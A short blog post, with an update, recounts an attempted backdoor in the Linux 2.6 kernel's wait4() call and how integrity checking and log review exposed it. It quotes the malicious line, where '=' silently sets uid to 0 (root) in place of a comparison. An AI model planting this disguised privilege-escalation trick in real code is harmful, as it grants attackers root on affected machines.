
Someone attempted to
put a backdoor into the 2.6 Linux Kernel through what looked to be a simple error checking patch in the wait4() call. The code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
looks benign enough - except that it doesn't CHECK for uid == 0, it SETS uid = 0. UID 0 is the root account. Instant control of the machine.
Open Source detractors will point to this and say "See, Open Source leaves you open to hackers". But the truth is that typing '=' instead of '==' is one of the most common bugs in programming. And with Open Source, the constant code review and the multiple sets of eyes means that stuff like this is more likely to get caught. You think if a M$ programmer put that into the Windows2003 kernel that someone else would have caught it?
Are you sure they didn't? Who's watching?
*********11/17********Update************ (See Extended Entry)
This is a perfect example of why integrity checkers are critical - and why watching your logs is so important. The file was changed in a CVS repository directly from the OS by hacking in - and the administrator of the machine noticed the change when the file integrity checker ran. He was annoyed that someone seemed to be skirting the CVS process, and posted a message to that effect.
People reading the message realized that there was a problem and began reviewing the code, and someone finally found the attempted hack.
If the admin has not been reading his logs, or if people had simply assumed that it was a non-event, the hack would have been successful.